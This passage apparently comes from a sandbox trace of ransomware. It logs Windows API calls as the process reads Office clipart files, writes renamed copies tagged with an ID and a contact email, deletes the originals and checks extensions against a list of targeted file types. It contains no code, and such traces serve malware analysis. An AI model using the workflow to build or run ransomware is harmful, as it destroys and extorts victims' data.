office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.158] GetLastError () returned 0x0 [0203.158] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1016, lpOverlapped=0x0) returned 1 [0203.159] WriteFile (in: hFile=0x574, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1020, lpOverlapped=0x0) returned 1 [0203.160] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.160] WriteFile (in: hFile=0x574, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.160] SetEndOfFile (hFile=0x574) returned 1 [0203.161] CloseHandle (hObject=0x574) returned 1 [0203.161] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.161] SetEndOfFile (hFile=0x570) returned 1 [0203.163] CloseHandle (hObject=0x570) returned 1 [0203.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.165] lstrlenW (lpString=".doc") returned 4 [0203.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString=".docx") returned 5 [0203.165] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0203.165] lstrlenW (lpString=".pdf") returned 4 [0203.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString=".xls") returned 4 [0203.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.165] lstrlenW (lpString=".xlsx") returned 5 [0203.165] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0203.165] lstrlenW (lpString=".ppt") returned 4 [0203.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.165] lstrlenW (lpString=".zip") returned 4 [0203.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.165] lstrlenW (lpString=".rar") returned 4 [0203.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString=".bz2") returned 4 [0203.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString=".7z") returned 3 [0203.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.165] lstrlenW (lpString=".dbf") returned 4 [0203.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.165] lstrlenW (lpString=".1cd") returned 4 [0203.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".jpg") returned 4 [0203.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".doc") returned 4 [0203.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString=".docx") returned 5 [0203.166] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0203.166] lstrlenW (lpString=".pdf") returned 4 [0203.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString=".xls") returned 4 [0203.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.166] lstrlenW (lpString=".xlsx") returned 5 [0203.166] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0203.166] lstrlenW (lpString=".ppt") returned 4 [0203.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".zip") returned 4 [0203.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.166] lstrlenW (lpString=".rar") returned 4 [0203.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString=".bz2") returned 4 [0203.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString=".7z") returned 3 [0203.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".dbf") returned 4 [0203.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".1cd") returned 4 [0203.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0203.166] lstrlenW (lpString=".jpg") returned 4 [0203.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.167] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.167] lstrlenW (lpString="J0099185.JPG") returned 12 [0203.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.168] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3282) returned 1 [0203.168] CloseHandle (hObject=0x570) returned 1 [0203.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0203.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.169] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.169] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.170] GetLastError () returned 0x0 [0203.170] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0203.171] WriteFile (in: hFile=0x574, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xce0, lpOverlapped=0x0) returned 1 [0203.172] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.172] WriteFile (in: hFile=0x574, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.172] SetEndOfFile (hFile=0x574) returned 1 [0203.172] CloseHandle (hObject=0x574) returned 1 [0203.172] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.172] SetEndOfFile (hFile=0x570) returned 1 [0203.181] CloseHandle (hObject=0x570) returned 1 [0203.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0203.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.183] lstrlenW (lpString=".doc") returned 4 [0203.183] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.183] lstrlenW (lpString=".docx") returned 5 [0203.183] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0203.184] lstrlenW (lpString=".pdf") returned 4 [0203.184] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.184] lstrlenW (lpString=".xls") returned 4 [0203.184] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.184] lstrlenW (lpString=".xlsx") returned 5 [0203.184] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0203.184] lstrlenW (lpString=".ppt") returned 4 [0203.184] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.184] lstrlenW (lpString=".zip") returned 4 [0203.184] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.184] lstrlenW (lpString=".rar") returned 4 [0203.184] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.184] lstrlenW (lpString=".bz2") returned 4 [0203.184] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.184] lstrlenW (lpString=".7z") returned 3 [0203.184] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.184] lstrlenW (lpString=".dbf") returned 4 [0203.184] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.184] lstrlenW (lpString=".1cd") returned 4 [0203.184] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.184] lstrlenW (lpString=".jpg") returned 4 [0203.185] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.185] lstrlenW (lpString=".doc") returned 4 [0203.185] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.185] lstrlenW (lpString=".docx") returned 5 [0203.185] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0203.185] lstrlenW (lpString=".pdf") returned 4 [0203.185] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.185] lstrlenW (lpString=".xls") returned 4 [0203.185] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.185] lstrlenW (lpString=".xlsx") returned 5 [0203.185] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0203.185] lstrlenW (lpString=".ppt") returned 4 [0203.185] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.185] lstrlenW (lpString=".zip") returned 4 [0203.185] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.185] lstrlenW (lpString=".rar") returned 4 [0203.185] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.185] lstrlenW (lpString=".bz2") returned 4 [0203.185] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.185] lstrlenW (lpString=".7z") returned 3 [0203.186] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.186] lstrlenW (lpString=".dbf") returned 4 [0203.186] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.186] lstrlenW (lpString=".1cd") returned 4 [0203.186] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0203.186] lstrlenW (lpString=".jpg") returned 4 [0203.186] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.186] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.186] lstrlenW (lpString="J0099186.JPG") returned 12 [0203.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.188] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16738) returned 1 [0203.188] CloseHandle (hObject=0x570) returned 1 [0203.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0203.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.189] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.189] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0203.301] GetLastError () returned 0x0 [0203.301] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4162, lpOverlapped=0x0) returned 1 [0203.303] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4170, lpOverlapped=0x0) returned 1 [0203.304] ReadFile (in: hFile=0x570, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.304] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.304] SetEndOfFile (hFile=0x558) returned 1 [0203.305] CloseHandle (hObject=0x558) returned 1 [0203.305] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.305] SetEndOfFile (hFile=0x570) returned 1 [0203.308] CloseHandle (hObject=0x570) returned 1 [0203.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0203.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString=".doc") returned 4 [0203.900] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.900] lstrlenW (lpString=".docx") returned 5 [0203.900] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0203.900] lstrlenW (lpString=".pdf") returned 4 [0203.900] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.900] lstrlenW (lpString=".xls") returned 4 [0203.900] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.900] lstrlenW (lpString=".xlsx") returned 5 [0203.900] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0203.900] lstrlenW (lpString=".ppt") returned 4 [0203.900] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString=".zip") returned 4 [0203.900] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.900] lstrlenW (lpString=".rar") returned 4 [0203.900] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.900] lstrlenW (lpString=".bz2") returned 4 [0203.900] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.900] lstrlenW (lpString=".7z") returned 3 [0203.900] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString=".dbf") returned 4 [0203.900] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString=".1cd") returned 4 [0203.900] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.900] lstrlenW (lpString=".jpg") returned 4 [0203.900] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString=".doc") returned 4 [0203.901] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.901] lstrlenW (lpString=".docx") returned 5 [0203.901] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0203.901] lstrlenW (lpString=".pdf") returned 4 [0203.901] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.901] lstrlenW (lpString=".xls") returned 4 [0203.901] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.901] lstrlenW (lpString=".xlsx") returned 5 [0203.901] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0203.901] lstrlenW (lpString=".ppt") returned 4 [0203.901] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString=".zip") returned 4 [0203.901] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.901] lstrlenW (lpString=".rar") returned 4 [0203.901] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.901] lstrlenW (lpString=".bz2") returned 4 [0203.901] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.901] lstrlenW (lpString=".7z") returned 3 [0203.901] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString=".dbf") returned 4 [0203.901] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString=".1cd") returned 4 [0203.901] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0203.901] lstrlenW (lpString=".jpg") returned 4 [0203.901] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.902] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.902] lstrlenW (lpString="J0099194.GIF") returned 12 [0203.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.902] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=25265) returned 1 [0203.902] CloseHandle (hObject=0x53c) returned 1 [0203.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0203.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0203.903] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.903] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.904] GetLastError () returned 0x0 [0203.904] ReadFile (in: hFile=0x53c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0203.906] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x377fc94, 